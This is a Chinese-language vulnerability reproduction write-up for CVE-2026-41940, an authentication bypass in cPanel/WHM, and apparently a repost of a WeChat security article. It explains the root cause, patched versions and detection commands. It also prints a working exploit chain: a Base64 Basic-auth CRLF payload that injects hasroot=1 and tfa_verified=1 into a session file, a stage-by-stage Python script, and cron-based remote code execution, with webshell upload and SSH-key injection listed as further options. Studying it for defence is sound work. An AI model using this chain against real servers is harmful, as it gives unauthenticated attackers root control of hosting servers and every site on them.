CVE-2026-41940cPanel/WHM认证绕过漏洞复现

admin 2026-06-22 04:11:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了CVE-2026-41940cPanel/WHM认证绕过漏洞,CVSS评分9.8。漏洞由CRLF注入和Session编码缺陷叠加导致,攻击者可通过构造恶意HTTPBasic认证头在无ob段Cookie时注入伪造认证字段,从而绕过认证直接获取root权限。文档提供了完整的漏洞复现步骤、原理深度分析及修复建议,强调及时更新至官方修复版本的重要性。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,红队,安全工具


cover_image

CVE-2026-41940 cPanel/WHM 认证绕过漏洞复现

原创

cONtro1 cONtro1

Zer0day安全

2026年6月19日 13:43 天津

在小说阅读器读本章

去阅读

一、漏洞概述

| 项目 | 详情 | | — | — | | | |

漏洞编号 | CVE-2026-41940 |

漏洞类型 | 认证绕过(CRLF注入 + Session编码缺陷) |

CVSS评分 | 9.8(严重) |

影响产品 | cPanel & WHM v11.40之后所有版本 |

发现者 | Sina Kheirkhah  – watchTowr Labs |

公开时间 | 2026年4月28日 |

CISA KEV | 2026年5月1日列入(已野外利用) |

CWE | CWE-306(关键功能缺失认证) |

二、背景知识

2.1 cPanel 是什么

cPanel是全球最流行的 Linux服务器Web托管管理面板,让用户通过浏览器图形界面管理服务器,不用敲命令行。

┌─────────────────────────────────────────────┐
│              你的浏览器                      │
│         https://yourserver:2087             │
└──────────────────┬──────────────────────────┘
                   │
         ┌─────────▼──────────┐
         │    cPanel / WHM    │  ← Web管理面板
         └─────────┬──────────┘
                   │
    ┌──────────────┼──────────────┐
    ▼              ▼              ▼
  Apache        MySQL         邮件服务
  (网站)       (数据库)      (收发邮件)
    ▼              ▼              ▼
  DNS           FTP           SSL证书
  (域名)       (文件传输)     (HTTPS)

两个界面

| | WHM | cPanel | | — | — | — | | | | |

端口 | 2087  | 2083  |

使用者 | 服务器管理员 / 主机商 | 网站站长 / 终端用户 |

权限 | root级别,管整台服务器 | 只管自己的网站 |

WHM是”房东”,cPanel是”租客”。一台服务器上只有一个WHM,但可以有几百个cPanel账户。

为什么这个漏洞危害大?:cPanel全球数百万台服务器,每台往往托管几百到上千个网站。攻破WHM拿到root → 一台服务器上所有网站全部沦陷。

2.2 cpsrvd 守护进程

cpsrvd = cPanel Service Daemon,cPanel的”大管家”,所有从浏览器到cPanel/WHM的HTTP/HTTPS请求都由它处理。它是cPanel自己用Perl写的专用Web服务器,独立运行,不是Apache/Nginx。

┌──────────────────────────────────────────────────────┐
│                    互联网                             │
└──────────────────────┬───────────────────────────────┘
                       │ HTTPS请求
              ┌────────▼────────┐
              │    cpsrvd       │  ← 监听 2087(WHM) / 2083(cPanel)
              │  (Perl守护进程)  │     cPanel自己的Web服务器
              └────────┬────────┘
                       │
          ┌────────────┼────────────┐
          ▼            ▼            ▼
    ┌──────────┐ ┌──────────┐ ┌──────────────┐
    │ Session  │ │  认证模块 │ │  API路由分发  │
    │  管理    │ │ (登录/2FA)│ │ (JSON-API等) │
    └──────────┘ └──────────┘ └──────────────┘

cpsrvd的职责:

| 职责 | 具体内容 | | — | — | | HTTPS服务 | 监听2087/2083/2082/2086,自带SSL | | Session管理 | 创建session文件、读写认证状态、超时清理 | | 认证处理 | 表单登录、HTTP Basic认证、双因素认证 | | 安全令牌 | 生成cpsess安全令牌,防CSRF | | API路由 | 将请求分发给cPanel内部模块 |

作为daemon进程的守护行为:

  • • 开机自启
  • • 崩溃自动重启(tailwatchd watchdog)
  • • 多端口监听(2087/2083/2082/2086)
  • • fork模型处理并发

三、漏洞原理深度分析

3.1 核心机制:两个Bug叠加

Bug 1:CRLF注入(路径2无输入清理)

cpsrvd有两条代码路径向磁盘写入session文件:

用户请求
                           │
                    ┌──────▼──────┐
                    │   cpsrvd    │
                    │  请求路由    │
                    └──────┬──────┘
                           │
              ┌────────────┴────────────┐
              ▼                         ▼
     POST /login/                 GET / + Basic头
     (表单登录路径)               (HTTP Basic认证路径)
              │                         │
              ▼                         ▼
     save_session_path1()        save_session_path2()
     ✅ sanitize_crlf()          ❌ 没有sanitize
     ✅ 有ob_key加密密码          ❌ 无ob时明文写入
              │                         │
              ▼                         ▼
          安全写入                   漏洞!CRLF可注入

两条路径在cpsrvd的Perl源码中是两个独立的函数,开发者在路径1中加了清理但忘了在路径2也加。

Bug 2:无ob段Cookie导致密码明文写入

Session Cookie格式为 :SESSIONID,ob_hex,其中 ob_hex 是每会话的对称加密密钥:

| Cookie状态 | 密码处理 | CRLF结果 | | — | — | — | | 完整Cookie(含ob段) | 密码经加密后写入 | CRLF被加密,无法被解析 |

| 去除ob段Cookie | 密码明文写入 | CRLF原样保留,可被解析 |

ob_hex加密流程对比:

有ob_hex:  密码 → XOR/对称加密(用ob_hex做key) → "enc:base64乱码" → 写入session文件
                                                    ↓
                                           即使CRLF注入成功,加密后的内容无法被解析为key=value

无ob_hex:  密码 → 直接明文写入session文件
                    ↓
           CRLF注入的 \r\n 被原样保留,被解析为新的字段分隔符

攻击者必须去掉ob段——这不是破坏功能,而是cPanel的设计缺陷:当Cookie缺少ob段时,cpsrvd不会报错拒绝,而是回退到明文模式。

3.2 为什么CRLF能在路径2中原样写入session文件

这要从HTTP协议、Base64编码、cpsrvd代码逻辑三层来理解。

第一层:HTTP Basic认证格式

Authorization: Basic <base64编码的 username:password>

攻击者构造:

root:x\r\nhasroot=1\r\n... → base64编码 → 放进Header

关键点:Base64编码的是原始字节\r\n(即 0x0D 0x0A)是合法字节,编码后变成合法的Base64字符串,HTTP头传输没问题。HTTP协议层面不会过滤Base64内部的字节。

payload =&nbsp;"root:x\r\nhasroot=1"
b64 = base64.b64encode(payload.encode())
# 完全合法的Base64,没有任何特殊字符

第二层:cpsrvd解码Basic头后的处理

# cpsrvd Perl伪代码
sub&nbsp;handle_basic_auth&nbsp;{
&nbsp; &nbsp; my&nbsp;$auth_header&nbsp;=&nbsp;$request->header("Authorization");

&nbsp; &nbsp; # 1. Base64解码
&nbsp; &nbsp; my&nbsp;$decoded&nbsp;= decode_base64($auth_header);
&nbsp; &nbsp; # $decoded = "root:x\r\nhasroot=1"

&nbsp; &nbsp; # 2. 按第一个冒号分割
&nbsp; &nbsp; my&nbsp;($username,&nbsp;$password) =&nbsp;split&nbsp;/:/,&nbsp;$decoded,&nbsp;2;
&nbsp; &nbsp; # $username = "root"
&nbsp; &nbsp; # $password = "x\r\nhasroot=1" &nbsp; &nbsp;← CRLF在密码字段里了!
}

第三层:两条路径的差异

路径1(表单登录 POST /login/):

$username&nbsp;=~&nbsp;s/[\r\n]//g;&nbsp; &nbsp;# ← 删除\r和\n
$password&nbsp;=~&nbsp;s/[\r\n]//g;&nbsp; &nbsp;# ← 删除\r和\n
my&nbsp;$encrypted_pass&nbsp;= encrypt_with_ob_key($password,&nbsp;$ob_key);

路径2(Basic认证 GET / + Authorization头):

# ★★★ 没有sanitize ★★★
my&nbsp;$encoded_pass&nbsp;=&nbsp;$ob_key&nbsp;? encrypt($password,&nbsp;$ob_key) :&nbsp;$password;
# 无ob_key → $encoded_pass = "x\r\nhasroot=1"(原样!)
my&nbsp;$content&nbsp;=&nbsp;"user=$username\npass=$encoded_pass\n";
# \r\n被当作换行!

写入磁盘后的实际字节

user=root\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 正常字段
pass=x\r\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ← 密码值"x" + \r\n(CRLF)
hasroot=1\n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← cpsrvd以为这是新的一行字段!

cpsrvd重新读取时按 \n 分割,\r 在解析时被strip,hasroot=1 变成独立的合法字段行。

Image

3.3 Session文件格式为什么可以直接被利用

cpsrvd的session文件格式是固定的、可预测的,解析逻辑简单粗暴:

规则:
&nbsp; \n &nbsp;= 字段分隔符
&nbsp; = &nbsp; = 键值分隔符
&nbsp; 没有头部标识、没有版本号、没有magic bytes、没有签名

解析逻辑(Perl伪代码):

sub&nbsp;parse_session_file&nbsp;{
&nbsp; &nbsp; my&nbsp;$content&nbsp;= read_file($session_path);
&nbsp; &nbsp; my&nbsp;%session&nbsp;= ();
&nbsp; &nbsp; foreach&nbsp;my&nbsp;$line&nbsp;(split&nbsp;/\n/,&nbsp;$content) {&nbsp; &nbsp;# 按\n分割
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;($line&nbsp;=~&nbsp;/=/) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; my&nbsp;($key,&nbsp;$value) =&nbsp;split&nbsp;/=/,&nbsp;$line,&nbsp;2;&nbsp; # 按=取键值
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $session{$key} =&nbsp;$value;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 直接存入hash
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp; return&nbsp;%session;
}

没有任何防护:

  • • ❌ 不校验字段来源(是正常写入的还是注入的?)

  • • ❌ 不校验字段数量(正常3-5个,注入7-8个也无所谓)

  • • ❌ 不做签名校验(没有HMAC)

  • ❌ 遇到重复key直接覆盖user=root出现两次,后面的覆盖前面的)

正常session文件 vs 被毒化的session文件

正常(密码错误):

user=root
pass=enc:xxxxxx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 加密后的密码

→ 解析:2个字段,未认证

被毒化:

user=root
pass=x
successful_internal_auth_with_timestamp=9999999999 &nbsp; ← 注入
user=root &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 注入(覆盖前面的)
tfa_verified=1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ← 注入
hasroot=1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;← 注入

→ 解析:5个字段,包含完整认证信息 → 认证通过

cpsrvd的认证检查只看”有没有这些字段”,不问”这些字段从哪来的”:

sub&nbsp;is_authenticated&nbsp;{
&nbsp; &nbsp; my&nbsp;$session&nbsp;= parse_session_file($path);
&nbsp; &nbsp; if&nbsp;($session{hasroot}&nbsp;eq&nbsp;"1"
&nbsp; &nbsp; &nbsp; &nbsp; &&&nbsp;$session{user}&nbsp;eq&nbsp;"root"
&nbsp; &nbsp; &nbsp; &nbsp; &&&nbsp;$session{successful_internal_auth_with_timestamp}&nbsp;>&nbsp;time() -&nbsp;86400
&nbsp; &nbsp; &nbsp; &nbsp; &&&nbsp;$session{tfa_verified}&nbsp;eq&nbsp;"1") {
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;1;&nbsp; # 认证通过!
&nbsp; &nbsp; }
&nbsp; &nbsp; return&nbsp;0;
}

本质是”写了就信(Write-then-Trust)”的安全缺陷——在信任边界上没有做完整性验证。

3.4 为什么伪造session就能获得root权限

因为cpsrvd的认证模型是单点信任——session文件是唯一的信任锚,没有二次校验

  • • ❌ 不会再次查 /etc/shadow 验证密码
  • • ❌ 不会再次查 PAM 确认身份
  • • ❌ 不会检查session里的字段是不是自己写入的
正常情况: &nbsp;登录成功 → cpsrvd自己写入 hasroot=1 → 后续请求读到 hasroot=1 → 放行
攻击情况: &nbsp;CRLF注入 → 攻击者写入 hasroot=1 → 后续请求读到 hasroot=1 → 放行
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↑
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;它区分不出"自己写的"还是"别人注入的"

这不是cPanel独有的问题。任何基于”服务端Session”的认证系统,只要session存储可被注入/篡改且无完整性保护,都有同样的问题:

| 系统 | Session存储 | 攻击方式 | 完整性保护 | | — | — | — | — | | | | | |

cPanel | 磁盘文件(键值对) | CRLF注入字段 | ❌ 无 |

PHP | 磁盘文件(序列化) | 反序列化注入 | ❌ 无签名,但有序列化格式障碍 |

Flask | Cookie(签名) | 签名密钥泄露 | ✅ HMAC签名 |

JWT | Token本身 | 算法混淆/弱密钥 | ✅ 签名(但实现可能有缺陷) |

“伪造session = 获得root”成立的5个条件:

  1. 1. session存储没有完整性保护(无签名/无加密)     ← cPanel满足
  2. 2. 认证判断完全依赖session内容(无二次校验)       ← cPanel满足
  3. 3. session内容可被攻击者影响(注入/覆盖/篡改)     ← cPanel满足
  4. 4. session中存在高权限标记字段(如hasroot=1)      ← cPanel满足
  5. 5. 高权限标记字段能直接决定访问权限                ← cPanel满足

四、Exploit脚本逐行拆解

4.1 脚本结构

exploit.py
├── cPanelExploit 类
│ &nbsp; ├── __init__() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;— 初始化目标、session
│ &nbsp; ├── stage0_discover_hostname() &nbsp;— 发现主机名
│ &nbsp; ├── stage1_get_session() &nbsp; &nbsp; &nbsp; &nbsp;— 获取预认证session
│ &nbsp; ├── stage2_crlf_injection() &nbsp; &nbsp; — CRLF注入
│ &nbsp; ├── stage3_trigger_token_denied() — 触发token_denied
│ &nbsp; ├── stage4_verify_access() &nbsp; &nbsp; &nbsp;— 验证root权限
│ &nbsp; ├── exploit_rce_cron() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;— Cron RCE
│ &nbsp; ├── enumerate_cpanel_users() &nbsp; &nbsp;— 枚举用户
│ &nbsp; ├── read_rce_output() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; — 读取RCE输出
│ &nbsp; └── run() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; — 运行完整利用链
└── main() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;— 命令行参数解析

4.2 Stage 1: 获取预认证Session

def&nbsp;stage1_get_session(self):
&nbsp; &nbsp; url =&nbsp;f"{self.target}/login/?login_only=1"
&nbsp; &nbsp; data = {"user":&nbsp;"root",&nbsp;"pass":&nbsp;"wrongpassword123"}
&nbsp; &nbsp; # &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↑ 随便输个错误密码,目的是拿到session而非登录
&nbsp; &nbsp; resp =&nbsp;self.session.post(url, data=data, allow_redirects=False, timeout=self.timeout)

&nbsp; &nbsp; # 提取whostmgrsession cookie
&nbsp; &nbsp; cookies = resp.headers.get("Set-Cookie",&nbsp;"")
&nbsp; &nbsp; match&nbsp;= re.search(r'whostmgrsession=([^;]+)', cookies)
&nbsp; &nbsp; if&nbsp;match:
&nbsp; &nbsp; &nbsp; &nbsp; raw_cookie =&nbsp;match.group(1)
&nbsp; &nbsp; &nbsp; &nbsp; # ★★★ 关键操作:去掉逗号后面的ob_hex段 ★★★
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;","&nbsp;in&nbsp;raw_cookie:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.session_base = raw_cookie.split(",")[0]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # raw_cookie = ":<SESSIONID>,<ob_hex>"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # session_base = ":<SESSIONID>"(只有session ID,没有加密密钥)
&nbsp; &nbsp; &nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.session_base = raw_cookie

为什么要去掉ob段:有ob段时密码会被加密写入session,CRLF注入即使写入也是密文,无法被解析为key=value。去掉ob段后密码明文写入,CRLF换行符原样保留。

4.3 Stage 2: CRLF注入毒化Session

def&nbsp;stage2_crlf_injection(self):
&nbsp; &nbsp; # 构造CRLF注入payload
&nbsp; &nbsp; payload_raw =&nbsp;"root:x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\nuser=root\r\ntfa_verified=1\r\nhasroot=1"
&nbsp; &nbsp; # &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↑ 用户名:密码占位符
&nbsp; &nbsp; # &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ↑↑ \r\n = CRLF换行符
&nbsp; &nbsp; payload_b64 = base64.b64encode(payload_raw.encode()).decode()
&nbsp; &nbsp; # Base64编码后是合法的HTTP头值,不会触发任何过滤

&nbsp; &nbsp; url =&nbsp;f"{self.target}/"
&nbsp; &nbsp; headers = {
&nbsp; &nbsp; &nbsp; &nbsp; "Authorization":&nbsp;f"Basic&nbsp;{payload_b64}",
&nbsp; &nbsp; &nbsp; &nbsp; # ★ Cookie只带session_base,不带ob段 ★
&nbsp; &nbsp; &nbsp; &nbsp; "Cookie":&nbsp;f"whostmgrsession={quote(self.session_base, safe='')}"
&nbsp; &nbsp; }
&nbsp; &nbsp; resp =&nbsp;self.session.get(url, headers=headers, allow_redirects=False, timeout=self.timeout)
&nbsp; &nbsp; # 返回401(认证失败),但session文件已被毒化

服务器端处理:cpsrvd解码Basic头得到 username="root", password="x\r\nhasroot=1\r\n...",在路径2(无sanitize、无ob加密)下直接写入session文件,\r\n被当作字段分隔符。

各注入字段作用

| 字段 | 值 | 作用 | | — | — | — | | root:x | 伪造用户名:密码 | 触发Basic认证逻辑,x是密码占位符 | | successful_internal_auth_with_timestamp | 9999999999 | 伪造内部认证成功标志(时间戳设为远未来) | | user=root | root | 伪造用户名,覆盖前面的user字段 | | tfa_verified=1 | 1 | 绕过双因素认证 |

| hasroot=1 | 1 | 关键:伪造root权限标记 |

4.4 Stage 3: 触发token_denied传播

def&nbsp;stage3_trigger_token_denied(self):
&nbsp; &nbsp; url =&nbsp;f"{self.target}/scripts2/listaccts"
&nbsp; &nbsp; headers = {
&nbsp; &nbsp; &nbsp; &nbsp; "Cookie":&nbsp;f"whostmgrsession={quote(self.session_base, safe='')}"
&nbsp; &nbsp; }
&nbsp; &nbsp; resp =&nbsp;self.session.get(url, headers=headers, allow_redirects=False, timeout=self.timeout)
&nbsp; &nbsp; # 返回307重定向 → token_denied触发成功

&nbsp; &nbsp; time.sleep(1)&nbsp; # 等待传播完成

do_token_denied做了什么:重新解析session文件内容,将所有key=value直接写入内存cache。被注入的 hasroot=1user=roottfa\_verified=1 等字段在此时生效,session状态从”未认证”变为”已认证root”。

这是典型的”错误处理路径反而放大漏洞”模式——认证失败时触发的 do\_token\_denied 本该拒绝访问,反而将注入字段提升到cache生效。

4.5 Stage 4: 验证Root权限

def&nbsp;stage4_verify_access(self):
&nbsp; &nbsp; # 安全令牌是访问WHM API的必要路径前缀
&nbsp; &nbsp; api_url =&nbsp;f"{self.target}/{self.security_token}/json-api/version"

&nbsp; &nbsp; headers = {
&nbsp; &nbsp; &nbsp; &nbsp; "Cookie":&nbsp;f"whostmgrsession={quote(self.session_base, safe='')}"
&nbsp; &nbsp; }
&nbsp; &nbsp; resp =&nbsp;self.session.get(api_url, headers=headers, allow_redirects=False, timeout=self.timeout)

&nbsp; &nbsp; if&nbsp;resp.status_code ==&nbsp;200:
&nbsp; &nbsp; &nbsp; &nbsp; data = resp.json()
&nbsp; &nbsp; &nbsp; &nbsp; version = data.get("version",&nbsp;"unknown")
&nbsp; &nbsp; &nbsp; &nbsp; # → 认证绕过成功!获得WHM root权限

4.6 Cron RCE

def&nbsp;exploit_rce_cron(self, command, cpanel_user=None):
&nbsp; &nbsp; if&nbsp;not&nbsp;cpanel_user:
&nbsp; &nbsp; &nbsp; &nbsp; cpanel_user =&nbsp;self.enumerate_cpanel_users()&nbsp; # 先枚举用户

&nbsp; &nbsp; # 1. 构造命令:执行后输出写入public_html
&nbsp; &nbsp; output_file =&nbsp;f"rce_output_{int(time.time())}.txt"
&nbsp; &nbsp; full_command =&nbsp;f"{command}&nbsp;> /home/{cpanel_user}/public_html/{output_file}&nbsp;2>&1"

&nbsp; &nbsp; # 2. 调用Cron::add_line API
&nbsp; &nbsp; params = {
&nbsp; &nbsp; &nbsp; &nbsp; "cpanel_jsonapi_user": cpanel_user,
&nbsp; &nbsp; &nbsp; &nbsp; "cpanel_jsonapi_module":&nbsp;"Cron",
&nbsp; &nbsp; &nbsp; &nbsp; "cpanel_jsonapi_func":&nbsp;"add_line",
&nbsp; &nbsp; &nbsp; &nbsp; "cpanel_jsonapi_apiversion":&nbsp;"2",
&nbsp; &nbsp; &nbsp; &nbsp; "command": full_command,&nbsp; &nbsp; &nbsp;# 要执行的命令
&nbsp; &nbsp; &nbsp; &nbsp; "day":&nbsp;"*",&nbsp;"hour":&nbsp;"*",&nbsp;"minute":&nbsp;"*",&nbsp; # 每分钟执行
&nbsp; &nbsp; &nbsp; &nbsp; "month":&nbsp;"*",&nbsp;"weekday":&nbsp;"*"
&nbsp; &nbsp; }
&nbsp; &nbsp; resp =&nbsp;self.session.get(url, params=params, headers=headers)

&nbsp; &nbsp; # 3. 等待cron执行(最多1分钟)
&nbsp; &nbsp; time.sleep(65)

&nbsp; &nbsp; # 4. 通过Fileman API读取输出
&nbsp; &nbsp; output =&nbsp;self.read_rce_output(cpanel_user, output_file)

RCE的本质:session文件里的注入字段本身不会被执行,它们只是被当作认证判断依据。RCE是认证绕过之后通过WHM API实现的,是两步独立的操作:

Step 1: 认证绕过(CRLF注入) → 骗过门卫,拿到WHM root权限
Step 2: RCE(通过WHM API) &nbsp;→ 用root权限调用Cron::add_line等API

Cron RCE的执行链

攻击者调用API → cpsrvd把命令写入crontab → crond守护进程读取crontab → 执行命令

crond是Linux系统级服务,几乎永远在运行。Cron::add_line的底层实现就是crontab写入,这是cPanel的合法功能,不是漏洞。问题在于未认证的攻击者拿到了root权限来调用这个API。

其他RCE路径

| 方法 | 原理 | 成功率 | | — | — | — | | | | |

Cron::add_line | 写crontab,crond定时执行 | 77%(最可靠) |

| Fileman::upload | 上传PHP/CGI webshell到public_html | 较低,依赖web目录可执行 |

| api_token_create | 创建持久化API令牌 | 17% |

| passwd | 修改root密码 | 7% |

| generatesshkeypair | 注入SSH公钥 | 配合使用 |

Image


五、复现结果

5.1 测试环境

| 项目 | 详情 | | — | — | | 攻击机 | Kali Linux / Windows + Python 3 | | 目标 | cPanel模拟环境(Python,监听2087端口) | | 模拟版本 | cPanel 11.136.0.4(存在漏洞) |

5.2 复现步骤与结果

[Stage 1] 获取预认证Session Cookie...
&nbsp; → Session Cookie 已获取
&nbsp; → Session Base (无ob段): :<SESSION_ID>
&nbsp; ✅ 成功

[Stage 2] CRLF注入毒化Session文件...
&nbsp; → 响应状态码: 401 (401为预期,Session已被毒化)
&nbsp; → Session文件内容包含: hasroot=1, tfa_verified=1, user=root
&nbsp; ✅ 成功

[Stage 3] 触发do_token_denied机制...
&nbsp; → 307重定向 → token_denied触发成功
&nbsp; → 安全令牌已获取
&nbsp; ✅ 成功

[Stage 4] 验证Root权限访问WHM API...
&nbsp; → 200 OK
&nbsp; ✅ 认证绕过成功!

[Post-Exploit] 枚举cPanel账户...
&nbsp; → 获取到cPanel账户列表
&nbsp; ✅ 成功

[Post-Exploit] 获取系统负载...
&nbsp; → 成功获取系统信息
&nbsp; ✅ 成功

5.3 模拟服务器日志(CRLF注入触发)

[!] CRLF注入路径被调用
&nbsp; &nbsp; has_ob=False (Cookie不含ob段)
&nbsp; &nbsp; username=root
&nbsp; &nbsp; Session文件内容:
&nbsp; &nbsp; &nbsp; 'user=root'
&nbsp; &nbsp; &nbsp; 'pass=x'
&nbsp; &nbsp; &nbsp; 'successful_internal_auth_with_timestamp=9999999999'
&nbsp; &nbsp; &nbsp; 'user=root'
&nbsp; &nbsp; &nbsp; 'tfa_verified=1'
&nbsp; &nbsp; &nbsp; 'hasroot=1'
&nbsp; &nbsp; [!!!] 检测到注入字段: ['hasroot', 'tfa_verified', 'user', 'successful_internal_auth_with_timestamp']

[!] do_token_denied 被触发
&nbsp; &nbsp; Cache状态: authenticated=True, hasroot=True, user=root
&nbsp; &nbsp; [!!!] 认证绕过成功!Session已被提升为root权限

六、影响版本与修复

6.1 受影响版本

| 版本分支 | 修复版本 | | — | — | | 11.86.* | ≥ 11.86.0.41 | | 11.110.* | ≥ 11.110.0.97 | | 11.118.* | ≥ 11.118.0.63 | | 11.126.* | ≥ 11.126.0.54 | | 11.130.* | ≥ 11.130.0.18 | | 11.132.* | ≥ 11.132.0.29 | | 11.134.* | ≥ 11.134.0.20 | | 11.136.* | ≥ 11.136.0.5 |

6.2 修复方案

1. 立即升级至修复版本

  1. 2. 防火墙限制2087/2083端口访问
  2. 3. 启用双因素认证(虽然此漏洞可绕过2FA,但增加攻击复杂度)
  3. 4. 监控异常Cron任务和API令牌
  4. 5. 检查session文件目录是否存在异常字段

6.3 检测方法

# 检查cPanel版本
/usr/local/cpanel/cpanel -V

# 检查异常session文件
grep&nbsp;"hasroot=1"&nbsp;/var/cpanel/sessions/raw/*

# 检查异常Basic认证请求
grep&nbsp;"Authorization: Basic"&nbsp;/usr/local/cpanel/logs/access_log | grep&nbsp;"401"

七、根因教训

1. 两条代码路径的不一致性是安全漏洞的经典来源——同一个功能有多个入口时,输入验证必须在所有入口统一实施

2. CRLF注入不仅限于HTTP响应拆分——注入到任何文件(session文件、配置文件、日志文件)都可能造成严重后果

3. Cookie结构设计缺陷——ob段可选导致回退明文模式,应该在缺少ob段时拒绝请求

4. 错误处理路径放大漏洞——do_token_denied本该拒绝访问,反而将注入字段提升到cache生效

5. “写了就信”的信任模型——session文件没有完整性保护(HMAC签名),写入什么就信什么


八、快速复现

# 1. 构建Docker镜像
docker build -t cve-2026-41940-lab .

# 2. 启动靶机
docker run -d -p 2087:2087 --name cpanel-lab cve-2026-41940-lab

# 3. 执行Exploit
python exploit.py -t https://127.0.0.1:2087

# 或使用 docker-compose
docker-compose up -d

8.1 常见问题

可能的问题:Exploit 执行后所有 Stage 返回 401,认证绕过失败

原因:模拟环境的 Cookie 解析器未对 URL 编码做解码,而 exploit 默认对 Cookie 值中的特殊字符(如 :)做了 URL 编码(quote),导致服务器端无法匹配到正确的 Session。

排查方法

# 检查 Session 文件是否被写入
ls&nbsp;-la /tmp/cpanel_sessions/raw/

# 查看文件内容是否包含注入字段
cat&nbsp;/tmp/cpanel_sessions/raw/*

# 如果文件为空或不存在,说明 Cookie 解析有问题

解决方案

1. 修改 exploit:去掉 Cookie 中的 URL 编码,将 quote 改为 self.session\_base

2. 修改模拟环境:在 parse\_cookies 函数中对 Cookie 值添加 unquote 解码,如 from urllib.parse import unquote + unquote)

推荐方案 2,修复后 exploit 无需任何改动即可正常使用。


九、参考

  • • cPanel官方安全公告
  • • WatchTowr Labs分析
  • • NVD – CVE-2026-41940
  • • FreeBuf深度分析

本复现仅用于授权安全测试和学习研究目的。

欢迎师傅们加入Zer0day安全交流群进行友好交流

公众号回复:cve-2026-41940 领取附件


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Zer0day安全 cONtro1 cONtro1《CVE-2026-41940 cPanel/WHM 认证绕过漏洞复现》

评论:0   参与:  0